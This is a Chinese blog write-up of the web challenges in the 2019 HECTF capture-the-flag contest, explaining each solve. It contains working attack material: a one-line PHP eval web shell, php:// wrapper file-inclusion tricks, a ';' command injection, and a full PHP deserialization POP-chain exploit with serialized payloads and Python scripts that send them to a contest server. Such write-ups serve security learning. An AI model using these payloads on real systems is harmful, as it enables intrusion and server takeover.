• 1. Circles - Post
  • 2. Hollywood's_Bleeding - Post
  • 3. A_Thousand_Bad_Times - Post
  • 4. Allergic - Post
  • 5. Happier - Marshmello
  • 6. Here_With_Me - Marshmello

2019_HECTF初赛WP -web部分

你看这个php它又大又圆

分析

点开环境发现,这里提示我们不是admin,然后F12查看源码,发现把php源码写在html注释里面了:

<?php
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];

if(isset($user)&&(file_get_contents($user,'r')==="admin")){
if(md5($pass)===md5($pass1)){
        echo "hello admin!<br>";

        include($file); 
    }
}else{

    echo "you are not admin ! ";

}
?>
  • 第一个判断首先判断了user参数是否传入,然后得到用file_get_contents获得user参数的内容,且必须强相等于admin
  • 第二个判断,是判断md5(传进来的pass参数的值)和一个未定义(未引入)的变量需要强相等,在php里未定义的变量,要使用的话其实值为null,因此这里实际上是md5($pass)===null
  • 最后将传入的file参数的值包含进来

解法

  • 首先第一个判断user的值要等于admin,使用php://input+[Post admin],input流可以直接在让文件操作函数最后等于一个字符串(Post传参内容)(可能说法不太准确2333)
  • 第二个判断,实际上在php里面,大多数函数无法直接处理数组,如果这里$pass是一个数组的话,那么md5()会返回一个null,因此这里传入数组即可
  • 最后一个文件包含,基本凡是文件操作的地方都可以使用php伪协议,在已经变成admin,登陆的情况下,会提示flag在f1a9.php里面,这里同样使用伪协议进行读取php://filter/read

最后传入构造好的参数,得到了返回f1a9.php的base64B编码内容,进行解码即可

flag为: flag{He6TuCTF@:F1a91stH1}

金闪闪的小饼干

题目提示很明显就是cookie嘛,点进去查看cookie,得到

%3D在url里面就是=号,因此很明显,这显然是base64编码的内容,进行解码得到flag

Code execution

点进去结合F12,得到两个hint:

先看upload.php,经过测试发现可以直接上传php文件,我们上传一个一句话木马试试

1ju.php

<?php
 @eval($_POST['key']);
 ?>

上传直接给了一个路径:

用蚁剑发现可以连接,到处翻翻在根目录下得到flag:

Romance签到

这道题非常有意思(这个表白看的我都感动了),由于是签到题,先用dirsearch扫了一下目录,得到一个提示source.php(html源码中有个a标签指向这个url)

切换到source.php下载下来,查看文件内容得到了,新提示./hint.php,再切换到hint.php下载下来得到一串神奇的字符

♭‖§∮♯♭‖§∮♬♭‖§§♫♭‖§∮§♭‖§♩§♭‖♯♬¶♭
‖§§♫♭‖§§¶♭‖♯¶§♭‖♯¶♫♭‖§∮♭♭‖§
§♫♭‖§§♬♭‖♯♬♪♭‖♯¶♪♭‖♯¶‖
♭‖♯¶♯♭‖♯♬♬♭‖♯♬♪♭‖♯¶♯♭
‖♯¶♯♭‖♯¶∮♭‖§∮♭♭
‖♯♬♪♭‖§§♬♭‖♯¶§♭‖♯¶‖♭‖
§§♬♭‖♯♬♪♭‖§§♫♭‖♯¶♪♭‖♯¶♫♭‖♯¶§♭‖§∮♭♭‖♯♬¶♭‖♯♬♬♭‖♯¶‖♭‖♯¶♫♭‖♯¶∮♭‖♯¶∮♭‖§§♫♭‖§♩♪‖‖‖♭§♪==

扔给做Misc的队友发现是音符加密,直接在线解码得到结果:

解出来,看起来是盲文,然后在线解密得到:

我只会ping吗?

这道题点进去看见一个提示ip,并且说能够简单命令执行,尝试了一下,确实可以命令执行

猜测源码为system("ping".$_GET['id']);,要能够读取flag,可以使用linux下的多命令执行一个是&&,还有一个是;,这里我是用的是;,先用ls看看当前目录下有哪些内容吧,然后没想到直接就出flag了

file在哪里?

点进去,发现报错了,报错的那行提醒了我们,我们传入的参数file是会用于include()进行包含的,凡是与文件有关的操作,都可以使用伪协议,再加上查看源码得到一个hint

这里尝试使用伪协议读取hint.php的内容,得到:

解码得到一段诡异的英文文章:

然后根据提示的spam,加上直接搜索解码原文,找到同类型的题,得到一个叫做 卡尔达诺栅格码 的东西,找到在线加密,得到flag

缘分

这道题写wp的时候非预期解被修了,没办法截复现的图了,中途有段时间直接进入hhhh.php的时候出现了报错信息

这里缺少一个常量admin,然后回到index.php,两者均传入admin

得到一个新的报错

最后输入一起admin123得到了flag:

让我们一起来变魔术吧

方法1

点进去一看,发现把源码写进了html注释里面了

<?php
class Read {
    public $var;
    public $token;
    public $token_flag;
    public function __construct() { 
         $this->token_flag = $this->token = md5(rand(1,10000));
    } 
    public function __invoke(){
        $this->token_flag = md5(rand(1,10000));
        if($this->token === $this->token_flag)
        {
            echo "flag{**********}";
        }
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct()
    {
        echo $this->source."<br>";
    }

    public function __toString()
    {
        $this->str['str']->source;
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}

class Test
{
    public $params;
    public function __construct()
    {
        $this->params = array();
    }

    public function __get($key)
    {
        $func = $this->params;
        return $func();
    }
}

if(isset($_GET['chal']))
{
    $chal = unserialize($_GET['chal']);
}
?>

非常明显的反序列化(这里我构造好了参数之后发现不对,但本地跑的出来,最后发现把chal看成cha1了)

给了三个类,从触发的条件来看首先POP利用链一定是先找__destruct__wakeup魔术方法,这两个方法可以直接利用,因此锁定POP第一个类是Show,然后最后一个类一定是读flag的Read类,中间这个就定作Test类,这里不能直接跳过__wakeup类的进行构造,否则无法到达Read类读取flag,这里有两个考点,一是POP链的构造,还有一个是$this->token === $this->token_flag怎么绕过的问题

  • 简述利用链条,用unserialize函数触发__wakeup方法,然后透过构造Show类的属性source在进行preg_match()时候触发__toString方法,然后通过__toString触发__get方法,再用__get方法的动态调用函数,调用__invoke方法,从而读到flag
  • 我们可以再构造Read类时,将$this->token_flag设置为$this->token的引用,即$this->token_flag=&$this->token,这里形如C语言的地址,因此在调用$this_tokenflag就会取出这个地址对应的内容,那么显然`$this->token===$this->token,从而绕过了了md5的校验,当然这里也可以使用暴力破解的方法,最终的payload生成为:
<?php
class Read {
    public $var;
    public $token;
    public $token_flag;
    public function __construct() {
         $this->token = md5(rand(1,10000));
        $this->token_flag = &$this->token;
        #赋值成$this->token的引用绕过__invoke的if校验
    }
    public function __invoke(){
        $this->token_flag = &$this->token;
        if($this->token === $this->token_flag)
        {
            echo "flag{**********}";
        }
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct()
    {
        $this->str['str']=new Test();
        echo $this->source."<br>";
    }

    public function __toString()
    {
        $this->str['str']->source;
        #调用一个类的不存在属性时调用__get方法,这里的source是类,
        #显然不存在这个属性,因此触发Test类的__get
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            #把类当字符串用时调用__toString
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}

class Test
{
    public $params;
    public function __construct()
    {
        $this->params = new Read();
    }

    public function __get($key)
    {
        $func = $this->params;
        return $func();
        #将类当函数使用时,调用__invoke方法,这里需要传入Read类
        #便会调用Read类的__invoke
    }
}

if(isset($_GET['chal']))
{
    $chal = unserialize($_GET['chal']);
}

$payload=new Show();
$payload->source=new Show();#为了不递归调用Show()的构造方法在外面赋值
$string=serialize($payload);
echo $string."\n";
/*
O:4:%22Show%22:2:{s:6:%22source%22;O:4:%22Show%22:2:
{s:6:%22source%22;N;s:3:%22str%22;a:1:{s:3:%22str%22;O:4:%22Test%22:1:
{s:6:%22params%22;O:4:%22Read%22:3:
{s:3:%22var%22;N;s:5:%22token%22;s:32:%22e97986091ee430b881ba8fc9755a64a8%22;s:
10:%22token_flag%22;R:8;}}}}s:3:%22str%22;a:1:{s:3:%22str%22;O:4:%22Test%22:1:
{s:6:%22params%22;O:4:%22Read%22:3:
{s:3:%22var%22;N;s:5:%22token%22;s:32:%22d38ee19a4815c4aeba48227913092a6e%22;s:
10:%22token_flag%22;R:13;}}}}
*/
#$ok=unserialize($string);这句使用来动态调试的,发现可以输出flag{****}说明构造成功

最后我是使用脚本传的(因为之前发现浏览器GET传不上去,最后发现是看错参数名了)

脚本为:

import requests

payload = "O:4:%22Show%22:2:{s:6:%22source%22;O:4:%22Show%22:2:{s:6:%22source%22;N;s:3:%22str%22;a:1:{s:3:%22str%22;O:4:%22Test%22:1:{s:6:%22params%22;O:4:%22Read%22:3:{s:3:%22var%22;N;s:5:%22token%22;s:32:%22e97986091ee430b881ba8fc9755a64a8%22;s:10:%22token_flag%22;R:8;}}}}s:3:%22str%22;a:1:{s:3:%22str%22;O:4:%22Test%22:1:{s:6:%22params%22;O:4:%22Read%22:3:{s:3:%22var%22;N;s:5:%22token%22;s:32:%22d38ee19a4815c4aeba48227913092a6e%22;s:10:%22token_flag%22;R:13;}}}}"
url = "https://183.129.189.60:10006/?chal="

re=requests.get(url+payload)
html=re.text
print(html)

最后运行脚本得到flag:

方法2

暴力破解,通过疯狂传包得到,进行md5碰撞,然后总有一次能够碰撞成功,生成payload代码:

<?php
class Read
{
    public $var;
    public $token;
    public $token_flag;

    public function __construct()
    {
        $this->token_flag = $this->token = md5(rand(1,10000));
    }

    public function __invoke()
    {
        $this->token_flag = md5(rand(1,10000));
        if ($this->token === $this->token_flag) {
            echo "flag{**********}";
        }
    }
}

class Show
{
    public $source;
    public $str;

    public function __construct()
    {
        $this->str['str'] = new Test();
        echo $this->source . "<br>";
    }

    public function __toString()
    {
        $this->str['str']->source;
    }

    public function __wakeup()
    {
        if (preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}

class Test
{
    public $params;

    public function __construct()
    {
        $this->params = new Read();
    }

    public function __get($key)
    {
        $func = $this->params;
        return $func();
    }
}

if (isset($_GET['chal'])) {
    $chal = unserialize($_GET['chal']);
}

$payload = new Show();
$payload->source = new Show();
$string = serialize($payload);
echo $string . "\n";

生成一组序列化字符,然后用脚本自动传线程别开太大不然环境会崩,静静等待就可以得到flag了,太麻烦了,这个方法没试

mport requests
import threading
import urllib

def payload():
    exp='O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";a:1:{s:3:"str";O:4:"Test":1:{s:6:"params";O:4:"Read":3:{s:3:"var";N;s:5:"token";s:32:"0b96d81f0494fde5428c7aea243c9157";s:10:"token_flag";s:32:"0b96d81f0494fde5428c7aea243c9157";}}}}s:3:"str";a:1:{s:3:"str";O:4:"Test":1:{s:6:"params";O:4:"Read":3:{s:3:"var";N;s:5:"token";s:32:"03492e99e42e7ea8480cdfb4899604f5";s:10:"token_flag";s:32:"03492e99e42e7ea8480cdfb4899604f5";}}}}'
    url='http://183.129.189.60:10006/?chal='+exp
    re=requests.get(url)
    html=re.text
    if "flag" in html:
        print(html)
    t=threading.Timer(1.0,payload)
    t.start()
payload()

Misc

抽卡呀~ 是欧是非见分晓

这道题本来应该是队友做,但他怀疑是web题,直接拿给了我.......

首先点开源码,翻阅JS脚本得到提示

然后我们可以翻阅上面引入的几个,看着像是核心代码的JS文件,挨个翻阅在drawing.js里面发现了getflag,当然根据提示你直接在控制台输入getflag()也是可以的,得到aaencode的编码内容

直接复制下来,控制台运行即可:

后记

这场比赛真的前所未有的友好,终于拿到大学生涯的第一个奖了,不过有些题还是考到了知识盲区,看来node.js的学习也要安排上议程了(差点webAK了,可惜node.js没学习),太悲伤了.....


除非注明,ebounce文章均为原创,转载请以链接形式标明本文地址

本文地址:http://www.ebounce.cn/web/48.html

新评论

captcha
请输入验证码